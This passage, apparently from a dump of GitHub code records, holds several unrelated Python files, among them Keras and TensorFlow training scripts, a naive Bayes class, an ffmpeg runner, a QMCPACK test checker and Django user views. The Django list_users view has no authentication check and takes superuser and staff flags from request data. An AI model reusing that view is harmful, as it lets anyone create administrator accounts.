self.assertEqual(actual, expected)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"msorkhpar/leetcode-learning-cards","sub_path":"Python/test/array/test_even_number_of_digits.py","file_name":"test_even_number_of_digits.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"19955531275","text":"#In this file we will load the data and train the model\nimport keras\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom keras import backend as K\nimport matplotlib.pyplot as plt\n\nlabels = [\n \"red\",\n \"green\",\n \"blue\",\n \"orange\",\n \"yellow\",\n \"pink\",\n \"purple\",\n \"brown\",\n \"grey\",\n \"black\"\n]\n\n#Hyper Parameters\nNUM_EPOCHS = 500\nLEARNING_RATE = 0.2\nNUM_HIDDEN_UNITS = 16\nNUM_TRAIN = 5500\nVALIDATION_SPLIT = 0.1\n\n\ndef get_data_from_file():\n data = []\n filepath = \"clean_data.txt\"\n if not os.path.isfile(filepath):\n print(\"File path {} does not exist. Exiting...\".format(filepath))\n sys.exit()\n with open(filepath) as fp:\n entry = []\n for line in fp:\n word = line.split(\",\")\n r = word[0]\n g = word[1]\n b = word[2]\n label = word[3].rstrip(\"\\n\")\n entry = [r, g, b, label]\n data.append(entry)\n return data\n\ndef prepare_data(data):\n np.random.shuffle(data)\n data = np.array(data)\n\n #seperate input values\n xs = data[:,0:3]\n xs = np.divide(xs.astype(np.float), 255) #normalize\n\n #seperate label values\n ys = data[:, 3]\n ys = np.vectorize(labels.index)(ys)\n\n #seperate training data\n XTrain = xs[0:NUM_TRAIN,:]\n YTrain = ys[0:NUM_TRAIN]\n YTrain = keras.backend.one_hot(YTrain, 10)\n\n #sepearate testing data\n XTest = xs[NUM_TRAIN:, :]\n YTest = ys[NUM_TRAIN:]\n YTest = keras.backend.one_hot(YTest, 10)\n\n return XTrain, YTrain, XTest, YTest\n\ndef buildModel():\n model = keras.Sequential()\n model.add(keras.layers.Dense(units=NUM_HIDDEN_UNITS, activation='sigmoid', input_shape=[3]))\n model.add(keras.layers.Dense(units=10, activation='softmax'))\n opt = keras.optimizers.SGD(learning_rate=0.2)\n model.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy', keras.metrics.Precision(), keras.metrics.Recall()])\n return model\n\ndef saveModelAsTFLite(model):\n converter = tf.lite.TFLiteConverter.from_keras_model(model)\n converter.post_training_quantize = True\n tflite_buffer = converter.convert()\n open( 'android/model.tflite' , 'wb' ).write( tflite_buffer )\n\ndef plotTrainingHistory(history):\n plt.plot(history.history['accuracy'])\n plt.plot(history.history['val_accuracy'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'val'], loc='upper left')\n plt.show()\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'val'], loc='upper left')\n plt.show()\n\ndef calculateF1(precision, recall):\n return 2 * ((precision * recall)/ (precision + recall))\n\ndef displayResults(results):\n loss = results[0]\n accuracy = results[1]\n precision = results[2]\n recall = results[3]\n f1_score = calculateF1(precision, recall)\n print('\\n\\nResults from evaluating on training data: \\n')\n print('Loss', round(loss, 2))\n print('Accuracy', round(accuracy, 2))\n print('Precision: ', round(precision, 2))\n print('Recall: ', round(recall, 2))\n print('F1 Score: ', round(f1_score, 2))\n print('\\n\\n')\n\n\ndef main():\n data = get_data_from_file()\n XTrain, YTrain, XTest, YTest = prepare_data(data)\n model = buildModel()\n history = model.fit(x=XTrain,y=YTrain, epochs=NUM_EPOCHS, validation_split=VALIDATION_SPLIT) #train model\n plotTrainingHistory(history)\n displayResults(model.evaluate(x=XTrain, y=YTrain))\n displayResults(model.evaluate(x=XTest, y=YTest))\n\n\nmain()\n","repo_name":"cgmoffitt/color-classifier","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74206108214","text":"import numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\n\nclass NB:\n def fit(self, X, y):\n num_samples, num_features = X.shape\n self._classes = np.unique(y) \n num_classes = len(self._classes)\n\n self._mean = np.zeros((num_classes, num_features), dtype=np.float64)\n self._var = np.zeros((num_classes, num_features), dtype=np.float64)\n self._priors = np.zeros(num_classes, dtype=np.float64)\n\n for c in self._classes:\n X_c = X[c == y]\n self._mean[c, :] = X_c.mean(axis=0)\n self._var[c, :] = X_c.var(axis=0)\n self._priors[c] = X_c.shape[0] / float(num_samples)\n\n def predict(self, X):\n return [self._predict(x) for x in X]\n\n def _predict(self, x):\n posteriors = []\n\n for i, c in enumerate(self._classes):\n prior = np.log(self._priors[i])\n class_conditional = np.sum(np.log(self._pdf(i, x)))\n posterior = prior + class_conditional\n posteriors.append(posterior)\n\n return self._classes[np.argmax(posteriors)]\n\n def _pdf(self, class_i, x):\n return 1 / np.sqrt(2 * np.pi * self._var[class_i]) * np.exp(-(x - self._mean[class_i]) ** 2 / (2 * self._var[class_i]))\n\ndef accuracy(y_true, y_pred):\n return np.sum(y_pred == y_true) / len(y_true)\n","repo_name":"victorlisman/BasicML","sub_path":"Naive Bayes/NB.py","file_name":"NB.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16054848442","text":"import subprocess\nimport re\n\n\ndef run(cmd, callback=None):\n curr = 0\n total = None\n p = subprocess.Popen(cmd, stderr=subprocess.PIPE, bufsize=1, universal_newlines=True)\n for line in p.stderr:\n m = re.search(r'Duration: (\\d+([:.]\\d+)+)', line)\n if m:\n total = 1 + time_to_secs(m.group(1))\n if callback is not None:\n callback(curr, total)\n\n m = re.search('time=(\\d+([:.]\\d+)+)', line)\n if m:\n curr = time_to_secs(m.group(1))\n if callback is not None:\n callback(curr, total)\n\n p.communicate()\n\n\nregex = re.compile(r'(?P<hours>\\d+):'\n r'(?P<min>\\d+):'\n r'(?P<sec>\\d+\\.\\d+)')\n\n\ndef time_to_secs(time):\n m = re.match(regex, time)\n parts = m.groupdict()\n return int(parts['hours'])*3600 + int(parts['min'])*60 + float(parts['sec'])\n","repo_name":"ashutosh108/video-scripts","sub_path":"ffmpegrunner.py","file_name":"ffmpegrunner.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42128916312","text":"import uuid\nfrom django.contrib.auth import authenticate, login as auth_login\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect\nfrom app.models import AuthUser, AuthUserGroups, AuthGroup\nfrom django.db import transaction\nfrom django.contrib.auth.hashers import make_password\n\n\ndef list_users(request):\n if request.method == \"POST\":\n check_username = AuthUser.objects.filter(username=request.POST.get('username'))\n check_email = AuthUser.objects.filter(email=request.POST.get('email'))\n if check_email:\n return JsonResponse({'error': True, 'msg': \"Email '{}' is already existed.\".format(request.POST.get('email'))})\n else:\n if not check_username:\n with transaction.atomic():\n user = AuthUser(\n first_name=request.POST.get('first_name'),\n middle_name=request.POST.get('middle_name'),\n last_name=request.POST.get('last_name'),\n email=request.POST.get('email'),\n username=request.POST.get('username'),\n password=make_password(request.POST.get('password')),\n is_superuser=True if request.POST.get('is_superuser') else False,\n is_staff=True if request.POST.get('is_staff') else False,\n is_active=1,\n updated_by_id=request.user.id\n )\n user.save()\n\n AuthUserGroups.objects.create(\n user_id=user.id,\n group_id=request.POST.get('group'),\n )\n return JsonResponse({'data': 'success', 'msg': \"New user '{}' has been added successfully.\".format(request.POST.get('username'))})\n return JsonResponse({'error': True, 'msg': 'Internal Error. An uncaught exception was raised.'})\n return JsonResponse({'error': True, 'msg': \"User '{}' is already existed.\".format(request.POST.get('username'))})\n\n\n\n context = {\n 'at_group': AuthGroup.objects.all(),\n }\n return render(request, 'users/list_users.html', context)\n\n\ndef edit(request,pk):\n if request.method == \"POST\":\n AuthUser.objects.filter(id=pk).update(\n first_name=request.POST.get('first_name'),\n middle_name=request.POST.get('middle_name'),\n last_name=request.POST.get('last_name'),\n )\n full_name = request.POST.get('first_name') + \" \" + request.POST.get('middle_name') + \" \" + request.POST.get('last_name')\n print(full_name)\n return JsonResponse({'data': 'success', 'msg': \"Your new Name '{}' has been updated.\".format(full_name)})\n context = {\n 'user': AuthUser.objects.filter(id=pk).first(),\n 'at_group': AuthGroup.objects.all(),\n 'user_group': AuthUserGroups.objects.filter(user_id=pk).first(),\n }\n return render(request, 'users/edit_users.html', context)","repo_name":"allennohesi/Info_kiosk","sub_path":"app/user_registration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16116788388","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 8 11:20:29 2018\n\n@author: Sirius\n\ntrain tiny imagenet on dataset representation\nTrick:\n1. 只要模型能过拟合,基本都可以调整到好的结果\n2. SGD的loss虽然可能不好看,波动率可能也大,但是最后的收敛效果可能比好\n3. 从头开始训练时,不需要加BN, dropout,weight_decay等技巧,一个一个加\n4. 输入的图像数据需要进行归一化(减均值除以方差)\n\n\n需要进行的任务:\n1. 加上weight decay 进行计算\n2. 改变优化算法rmsprop\n3. 迁移学习,将原来图像的分辨率增加,用pre-trained模型进行计算\n4. 保留最优的20个ckpt,对模型进行ensemble\n5. BN中的 \n\n增加:\n1. 按照epoch进行递减\n\"\"\"\n\nfrom inceptionV3 import *\nfrom metrics import *\nfrom losses import *\nfrom input_pipe_aug import *\nfrom datetime import datetime\nimport numpy as np\nimport os\nimport shutil\nimport glob\nimport time\n\n\n\nclass TrainConfig(object):\n \"\"\"Training configuration\"\"\"\n batch_size = 64\n num_epochs = 100 \n \n # 测试用\n summary_interval = 250\n eval_interval = 2000 # must be integer multiple of summary_interval\n \n lr = 0.001 # tiny imagenet: decayed by 0.9 at every epoch \n reg = 0.08\n\n momentum = 0.9\n model_name = 'inception_v3'\n config_name = 'inception_v3_2'\n continue_train = False\n model = staticmethod(globals()[model_name]) # gets model by name\n\ndef options(config):\n # sirius: log and checkpoints under same directory folder\n # import os\n # from datetime import datetime\n\n now = datetime.now().strftime(\"%m%d%H%M\")\n logdir = \"run-{}/\".format(now) # log directory name\n\n model_directory = os.path.join(config.model_name, config.config_name)\n\n ckpt_path = os.path.join(model_directory, 'checkpoints')\n log_path = os.path.join(model_directory, 'logs', logdir)\n checkpoint = None\n \n if not os.path.isdir(model_directory): # if log directory not exists, create a new one\n os.makedirs(model_directory)\n return ckpt_path, log_path, checkpoint\n else:\n if not config.continue_train:\n return ckpt_path, log_path, checkpoint\n else:\n checkpoint = tf.train.latest_checkpoint(ckpt_path)\n return ckpt_path, log_path, checkpoint\n\nclass TrainControl(object):\n\n def __init__(self, lr, step):\n self.val_accs = []\n self.val_accs_5 = []\n \n self.lr = lr\n self.num_lr_updates = 0\n self.lr_factor = 1/10\n self.step = step # step\n\n def add_val_acc(self, val_accs):\n self.val_accs.append(val_accs)\n\n def add_val_acc_5(self, val_accs_5):\n self.val_accs_5.append(val_accs_5)\n\n def update_lr(self, sess, step):\n print('Inside update_lr. self.lr, step ', sess.run(self.lr), step)\n # sirius: 不能整除, 由于step一般都不是整数\n if step % LR_CHANGE_STEP == 0: # Note: 由于step%2000==0进入这里,这里选取的数字一定是2000的倍数\n old_lr = sess.run(self.lr)\n self.lr.load(old_lr * self.lr_factor)\n print('========================================')\n print('learning rate updates at step', step) \n print('current learning', sess.run(self.lr))\n \ndef model(images, labels, config, is_training, reuse = None):\n \n logits = config.model(images, is_training) # sirius: 只需要給模型傳入iamges和is_training\n softmax_smooth_ce_loss(logits, labels)\n acc, acc_5 = accuracy(logits, labels)\n # print('Inside train_tiny_inception, model, tf.get_collection(tf.GraphKeys.LOSSES)', tf.get_collection(tf.GraphKeys.LOSSES))\n # print('Inside train_tiny_inception, model, tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)', tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES))\n total_loss = tf.add_n(tf.get_collection(tf.GraphKeys.LOSSES), name='total_loss')\n '''\n total_loss += tf.add_n(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES),\n name='total_loss') * config.reg\n for l2 in tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES):\n name = 'l2_loss_' + l2.name.split('/')[0]\n tf.summary.histogram(name, l2)\n '''\n\n return total_loss, acc, acc_5\n\n\ndef optimizer(loss, config):\n \"\"\"Add training operation, global_step and learning rate variable to Graph\n\n Args:\n loss: model loss tensor\n config: training configuration object\n\n Returns:\n (train_op, global_step, lr)\n \"\"\"\n lr = tf.Variable(config.lr, trainable=False, dtype=tf.float32)\n tf.summary.scalar('lr', lr) # sirius\n\n global_step = tf.Variable(0, trainable=False, name='global_step')\n\n \n optim = tf.train.MomentumOptimizer(lr, config.momentum,\n use_nesterov=True)\n train_op = optim.minimize(loss, global_step=global_step)\n\n return train_op, global_step, lr\n\ndef train():\n config = TrainConfig()\n ckpt_path, tflog_path, checkpoint = options(config)\n\n # prepare data\n g = tf.Graph()\n with g.as_default():\n \n with tf.device(':/cpu:0'):\n train_data = input_fn(True)\n val_data = input_fn(False)\n \n # feedable iterator: train data pipeline 和 validation data pipeline在一个session中\n train_iterator = train_data.make_one_shot_iterator()\n val_iterator = val_data.make_one_shot_iterator()\n\n handle = tf.placeholder(tf.string, shape=[])\n iterator = tf.data.Iterator.from_string_handle(handle, train_iterator.output_types, \n train_iterator.output_shapes)\n images, labels = iterator.get_next()\n \n # handle = tf.placeholder(tf.string, shape=[])\n # train_str, val_str, images, labels = get_samples(handle)\n #=======================================\n # training process\n # sirius: ValueError: not enough values to unpack (expected 3, got 2)\n # 问题:模型返回3个值,忘记添加acc_5\n loss, acc, acc_5 = model(images, labels, config, is_training=True)\n \n # Note: 在validation集合上需要设置is_training = False\n # Note: 在 tensorflow官网上用的estimator中有个input_fn\n # loss_val, acc_val, acc_5_val = model(images, labels, config, is_training=False)\n train_op, g_step, lr = optimizer(loss, config)\n \n \n # 没有直接summary(loss,acc,acc_5),是想要把训练集和验证集的统计数据分开\n # validation summary variables\n controller = TrainControl(lr, g_step) # save validation statistics\n # 只是定义,这里并没有给出更新规则\n val_loss = tf.Variable(0.0, trainable = False)\n val_acc = tf.Variable(0.0, trainable = False)\n val_acc_5 = tf.Variable(0.0, trainable = False)\n\n tf.summary.scalar('val_loss', val_loss)\n tf.summary.scalar('val_acc', val_acc)\n tf.summary.scalar('val_acc_5', val_acc_5)\n\n # train variables\n train_loss = tf.Variable(0.0, trainable = False)\n train_acc = tf.Variable(0.0, trainable = False)\n train_acc_5 = tf.Variable(0.0, trainable = False)\n\n tf.summary.scalar('train_loss', train_loss) # Note: 是这里把名字写错了,所以tensorboard画出来的图有问题\n tf.summary.scalar('train_acc', train_acc)\n tf.summary.scalar('train_acc_5', train_acc_5)\n\n # 是不包括train_init和test_init的\n init = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n\n [tf.summary.histogram(v.name.replace(':','_'),v) for v in tf.trainable_variables()]\n extra_updates_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n\n # Note: summary\n summ = tf.summary.merge_all()\n saver = tf.train.Saver(max_to_keep=5)\n writer = tf.summary.FileWriter(tflog_path, tf.get_default_graph())\n \n # train sess\n gpu_config = tf.ConfigProto()\n gpu_config.gpu_options.allow_growth = True\n \n # sirius: save summries every N step\n # summary_hook = tf.train.SummarySaverHook(save_steps=config.summary_interval,\n # output_dir=tflog_path, summary_op=tf.summary.merge_all())\n \n # with tf.train.MonitoredTrainingSession(hooks=[summary_hook]) as sess:\n with tf.Session(config = gpu_config) as sess:\n start_time = time.time()\n train_iterator_handle = sess.run(train_iterator.string_handle()) # 初始化 train 的 iterator\n val_iterator_handle = sess.run(val_iterator.string_handle()) # 初始化 test 的 iterator\n sess.run(init)\n \n if config.continue_train:\n saver.restore(sess, checkpoint)\n # for i in range(NUM_EPOCH): 这里取1时,count(step) = 156250 \n # 这里不需要,由于在dataset中已经dataset.repeat(NUM_EPOCHS)\n \n losses,accs,accs_5 = [],[],[] # 每个summary interval的平均损失\n train_count = 0\n summary_count = 0\n while True:\n try:\n for i in range(TRAIN_STEP_ALL): # 总共运行多少个step\n # Note: 如果每个step都运行sess.run(step) 太慢了\n step_loss, _, step, step_acc_5, step_acc, _ = sess.run([loss, train_op, g_step, acc_5, acc, extra_updates_ops],\n feed_dict={handle: train_iterator_handle})\n losses.append(step_loss)\n accs.append(step_acc)\n accs_5.append(step_acc_5)\n train_count += 1\n # print('train, step_acc_5', step_acc_5, 'step_acc', step_acc)\n # ======================================\n # calculate validation accuracy\n # ======================================\n # validation:\n # 1. feed_dict数据不同\n # 2. model计算时由于batch normalization需要设置为False\n # 3. 不需要更新权重参数等\n # Note: 在测试阶段,eval_interval 和 summary_inerval可以设置小一点\n # val_iterator_handle: 初始化时候也需要repeat, 或者这里重新初始化\n # 否则会报错 OutOfRangeError: End of sequence\n # Question: 在evaluation中用model进行计算,需要传参数is_training = False, 但是这样就会重复定义权重等参数\n if step % config.eval_interval == 0:\n val_losses, val_accs, val_accs_5 = [], [], [] # 在validation上的计算也是按batch进行计算的\n ckpt = saver.save(sess, ckpt_path + '/model', step) # ckpt文件,记录当前权重等\n \n for j in range(VAL_STEP): # 每进行一次validation需要多少个step\n # use trained weights to calculate outputs on validation dataset\n # 不需要给模型的参数加上reuse = True(变量共享)\n step_val_loss, step_val_acc, step_val_acc_5 = sess.run([loss, acc, acc_5],\n feed_dict={handle: val_iterator_handle})\n val_losses.append(step_val_loss)\n val_accs.append(step_val_acc)\n val_accs_5.append(step_val_acc_5)\n \n # 计算当前 eval_interval的validation\n mean_loss, mean_acc, mean_acc_5 = np.mean(val_losses), np.mean(val_accs), np.mean(val_accs_5)\n print('Step: {}, Validation. Loss: {:.3f}, Accuracy: {:.4f}, Accuracy_5: {:.4f}'.format(step, mean_loss, mean_acc, mean_acc_5))\n print('============================================')\n\n val_acc.load(mean_acc) # 本次evaluation计算的均值,load new value to the variable, 不会给计算图添加新的节点\n val_acc_5.load(mean_acc_5)\n val_loss.load(mean_loss)\n # controller.update_lr(sess, step) # 更新学习率\n \n if step % config.summary_interval == 0:\n # sirius: summary 需要feed_dict 否则报错\n # Error: You must feed a value for placeholder tensor 'Placeholder' with dtype string\n # summary 是 validation 数据集不够用的\n # Note: summary 这里需要加上feed_dict计算那要保存的值\n # Question: train上的accs_5都是1.0??\n # Question: summary中间用train_iterator是不是会将本身需要训练的样本也用掉了\n mean_loss, mean_acc, mean_acc_5 = np.mean(losses), np.mean(accs), np.mean(accs_5)\n train_acc.load(mean_acc) # 只有load了才会添加operation, 所以sess.run() 才有赋值,否则没有\n train_acc_5.load(mean_acc_5)\n train_loss.load(mean_loss)\n print('Iteration:{}, Training Loss:{:.3f}, Accuracy:{:.4f}, Accuracy_5:{:.4f}'.\n format(step, mean_loss,mean_acc,mean_acc_5)) # 当前summary的数据\n losses,accs,accs_5 = [],[],[] # 每个summary interval之后重置\n \n # Note: 结果是155500步骤,这里summary也用到了iterator_handle中的元素\n # writer.add_summary(sess.run(summ, feed_dict={handle: train_iterator_handle}), step)\n writer.add_summary(sess.run(summ, feed_dict={handle: train_iterator_handle}), step)\n summary_count += 1\n\n except tf.errors.OutOfRangeError:\n break\n\n print('Total time: {0} seconds.'.format(time.time()-start_time))\n print('summary_count',summary_count)\n print('train_count',train_count)\n \nif __name__ == \"__main__\":\n train()\n","repo_name":"Sirius083/tiny_imagenet","sub_path":"inception_v3/train_tiny_inception.py","file_name":"train_tiny_inception.py","file_ext":"py","file_size_in_byte":13790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71126623412","text":"#! /usr/bin/env python3\nimport re\n\ndef check_next_particle_grad_lap(mm,rel_tot,val_thr=1e-2,header='For particle'):\n \"\"\" check if particle gradient and laplacian errors are within tolerance\n assume wftest output contains the blocks such as:\nFor particle #0 at 2.77662296 2.025233638 3.660986223\nGradient = 6.68693298 -3.95727398 7.476365008\n Finite diff = 6.686934158 -3.957273925 7.476365603\n Error = -1.178022464e-06 -5.538599357e-08 -5.949851918e-07\n Relative Error = 1.761678288e-07 1.39959967e-08 7.95821487e-08\n\nLaplacian = -93.12287222\n Finite diff = -93.1228783\n Error = 6.076049388e-06 Relative Error = 6.524765449e-08\n\n Args:\n mm (mmap): memory map of wftest output file e.g. wftest.000\n rel_tot (float,optional): tolerance for relative error.\n val_thr (float,optional): threshold for significance of derivative, default is 1e-2. Derivatives below this threshold are treated as zero. This threhold exists because small error in a tiny value can result in a large relative error.\n header (str,optional): default is 'For particle'\n Returns:\n bool: success\n \"\"\"\n\n idx = mm.find(header.encode())\n if idx == -1:\n raise RuntimeError('failed to find %s'%header)\n # end if\n\n mm.seek(idx)\n mm.readline() # skip header\n\n success = True # determine success with the following checks\n\n # 1. gradient error\n idx = mm.find('Gradient'.encode())\n mm.seek(idx)\n grad_line = mm.readline().decode()\n grad_xyz = grad_line.split('=')[-1]\n try: # real values\n grad_val = map(float,grad_xyz.split())\n except: # complex values\n xyzl = re.split(r'[(,)]',grad_xyz.strip('\\n'))\n grad_real = map(float,xyzl[1::3])\n grad_imag = map(float,xyzl[2::3])\n grad_val = [grad_real[i] + 1j*grad_imag[i] for i in range(3)]\n # end try\n idx = mm.find('Relative Error'.encode())\n mm.seek(idx)\n grad_line = mm.readline().decode()\n grad_re = map(float,grad_line.split()[-3:]) # relative error\n if (sum(grad_re)>rel_tot): # check if error is significant\n if (abs(sum(grad_val))>val_thr): # ignore small absolute errors\n success = False\n # end if\n # end if\n\n # 2. laplacian error\n idx = mm.find('Laplacian'.encode())\n mm.seek(idx)\n lap_valt= mm.readline().decode().split('=')[-1]\n try: # real\n lap_val = float(lap_valt)\n except: # complex\n lapl = re.split(r'[(,)]',lap_valt.strip('\\n'))\n lap_val = float(lapl[1]) + 1j*float(lapl[2])\n # end try\n idx = mm.find('Relative Error'.encode())\n mm.seek(idx)\n lap_line = mm.readline()\n tokens = lap_line.split()\n lap_re = float(tokens[-1]) # relative error\n if (lap_re>rel_tot):\n if (abs(lap_val)>val_thr):\n success = False\n # end if\n # end if\n\n return success\n# end def\n\ndef all_lines_with_tag(mm,tag,nline_max):\n \"\"\" return a list of memory indices pointing to the start of tag \"\"\"\n mm.seek(0) # rewind file\n all_idx = []\n for iline in range(nline_max):\n idx = mm.find(tag.encode())\n if idx == -1:\n break\n # end if\n mm.seek(idx)\n all_idx.append(idx)\n mm.readline()\n # end for iline\n\n # guard\n if iline >= nline_max-1:\n raise NotImplementedError('may need to increase nline_max')\n # end if\n return all_idx\n# end def all_lines_with_tag\n\nif __name__ == '__main__':\n\n fname = 'wftest.000'\n nline_max = int(1e6) # assume fname has at most 1 million lines\n ratio_tol = 1e-6 # tolerance for ratio test\n rel_tol = 1e-3 # tolerance for relative error (0.1%)\n\n from mmap import mmap\n with open(fname,'r+') as f:\n mm = mmap(f.fileno(),0)\n # end with\n\n # 1. grade finite-difference test\n plocs = all_lines_with_tag(mm,'For particle',nline_max=nline_max)\n fsuccess = True # finite-difference test success\n for ploc in plocs:\n mm.seek(ploc)\n success = check_next_particle_grad_lap(mm,rel_tol)\n fsuccess= fsuccess&success\n # end for plocs\n\n # 2. grade ratio test\n \"\"\" use function designed for: \n Deriv Numeric Analytic Diff\n to parse:\n Particle Ratio of Ratios Computed Ratio Internal Ratio\n \"\"\"\n from check_deriv import parse_deriv_block\n data = parse_deriv_block(mm,'Particle Ratio of Ratios')\n # parse_deriv_block was not written for grad_lap, need to rename\n gl_name_map = {'Particle':'iparam','ratio':'numeric','computed':'analytic','internal':'diff'}\n rr = data[gl_name_map['ratio']]\n rsuccess = abs(sum(rr)/len(rr) - 1.) < ratio_tol\n\n if fsuccess:\n print('Finite difference test: PASS')\n else:\n print('Finite difference test: FAIL')\n if rsuccess:\n print('Ratio test: PASS')\n else:\n print('Ratio test: FAIL')\n\n if fsuccess and rsuccess:\n exit(0)\n else:\n exit(1)\n\n# end __main__\n","repo_name":"QMCPACK/qmcpack","sub_path":"tests/scripts/check_grad_lap.py","file_name":"check_grad_lap.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"21"} +{"seq_id":"33928545370","text":"class No:\r\n\r\n def __init__ (self, valor):\r\n self.valor = valor\r\n self.esquerda = None\r\n self.direita = None\r\n\r\n def __repr__(self):\r\n return '%s <- %s -> %s' % (self.esquerda and self.esquerda.valor, self.valor, self.esquerda and self.direita.valor)\r\n\r\nclass ArvoreBinaria:\r\n def __init__(self):\r\n self.raiz = None\r\n \r\n def inserir_em_nivel(self, valor):\r\n if self.raiz is None:\r\n self.raiz = No(valor)\r\n else: \r\n self.inserir_em_nivel_recursivo(valor, self.raiz)\r\n \r\n def inserir_em_nivel_recursivo(self, valor, no):\r\n if valor < no.valor:\r\n if no.esquerda is None:\r\n no.esquerda = No(valor)\r\n else: \r\n self.inserir_em_nivel_recursivo(valor, no.esquerda)\r\n else: \r\n if no.direita is None:\r\n no.direita = No(valor)\r\n else:\r\n self.inserir_em_nivel_recursivo(valor, no.direita)\r\n\r\n\r\n def mostrar_in_ordem(self):\r\n if self.raiz is None:\r\n print(\"A árvore está vazia!!\")\r\n return []\r\n else:\r\n return self.mostrar_in_ordem_recursivo(self.raiz)\r\n\r\n def mostrar_in_ordem_recursivo(self, no):\r\n valores_visitados = []\r\n if no is not None:\r\n if no.esquerda is not None:\r\n valores_visitados.extend(self.mostrar_in_ordem_recursivo(no.esquerda))\r\n valores_visitados.append(no.valor)\r\n if no.direita is not None:\r\n valores_visitados.extend(self.mostrar_in_ordem_recursivo(no.direita))\r\n return valores_visitados\r\n\r\n\r\n def encontrar_Nos_Filhos(self, No_Pai):\r\n \r\n no_pai = self.encontrar_no(self.raiz, No_Pai)\r\n\r\n if no_pai is None:\r\n return [] \r\n \r\n Nos_Filhos = []\r\n if no_pai.esquerda:\r\n Nos_Filhos.append(no_pai.esquerda.valor)\r\n if no_pai.direita:\r\n Nos_Filhos.append(no_pai.direita.valor)\r\n\r\n return Nos_Filhos\r\n\r\n def encontrar_no(self, no_atual, valor_alvo):\r\n if no_atual is None:\r\n return None \r\n if no_atual.valor == valor_alvo:\r\n return no_atual \r\n \r\n no_esquerdo = self.encontrar_no(no_atual.esquerda, valor_alvo)\r\n no_direito = self.encontrar_no(no_atual.direita, valor_alvo)\r\n \r\n return no_esquerdo or no_direito\r\n\r\n\r\n \r\nArvore = ArvoreBinaria()\r\n\r\n\r\n\r\nArvore.inserir_em_nivel(5)\r\nArvore.inserir_em_nivel(3)\r\nArvore.inserir_em_nivel(7)\r\nArvore.inserir_em_nivel(2)\r\nArvore.inserir_em_nivel(4)\r\nArvore.inserir_em_nivel(6)\r\nArvore.inserir_em_nivel(8)\r\n\r\n\r\n\r\nNo_Pai = int(input(\"Informe o nó que está procurando: \"))\r\nNos_Filhos = Arvore.encontrar_Nos_Filhos(No_Pai)\r\n\r\nif Nos_Filhos:\r\n print(f\"Os filhos do no {No_Pai} são: {Nos_Filhos}\")\r\nelse:\r\n print(f\"O nó {No_Pai} não foi encontrado na árvore ou Não possui filhos.\")\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"AllanOliveira2022/LISTA_ARVORE_BINARIA_N2","sub_path":"q15_Filhos.py","file_name":"q15_Filhos.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24026806105","text":"class stack:\r\n def __init__(self,maxsize):\r\n self.__maxsize=maxsize\r\n self.__elements=[None]*self.__maxsize\r\n self.__top=-1\r\n\r\n def is_full(self):\r\n if self.__top==self.__maxsize-1:\r\n return True \r\n else:\r\n return False\r\n def isempty(self):\r\n if self.__top==-1:\r\n return True\r\n return False\r\n def push(self,data):\r\n if self.is_full():\r\n print('the stack is full')\r\n else:\r\n self.__top+=1\r\n self.__elements[self.__top]=data\r\n \r\n \r\n","repo_name":"PRK007/GIET_TRAINING_PHASE-02","sub_path":"DSA_tnp/stack1.py","file_name":"stack1.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42659615475","text":"import rlutil\nimport rlargs\nimport readline\nimport pyosr\nimport uw_random\nimport numpy as np\nfrom six.moves import input\nfrom rlreanimator import reanimate\n\nclass OctoPlayer(object):\n def __init__(self, args):\n r = rlutil.create_renderer(args)\n # r.set_perturbation(uw_random.random_state(0.25))\n r.state = np.array(r.translate_to_unit_state(args.istateraw), dtype=np.float32)\n self.renderer = r\n self.rgb_shape = (len(r.views), r.pbufferWidth, r.pbufferHeight, 3)\n self.dactions = []\n self.action_magnitude = args.amag\n self.verify_magnitude = args.vmag\n self.target = None\n\n def __iter__(self):\n r = self.renderer\n while True:\n r.render_mvrgbd()\n yield np.copy(r.mvrgb.reshape(self.rgb_shape)[0])\n if self.target is None:\n texts = input(\"Goal State (W-Last)\").split()\n self.target = np.array(texts, dtype=np.float64)\n self.target[[3,4,5,6]] = self.target[[6,3,4,5]]\n self.target = r.translate_to_unit_state(self.target)\n DA = uw_random.DISCRETE_ACTION_NUMBER\n ns = np.zeros((DA,7))\n d = np.zeros((DA))\n for action in range(DA):\n 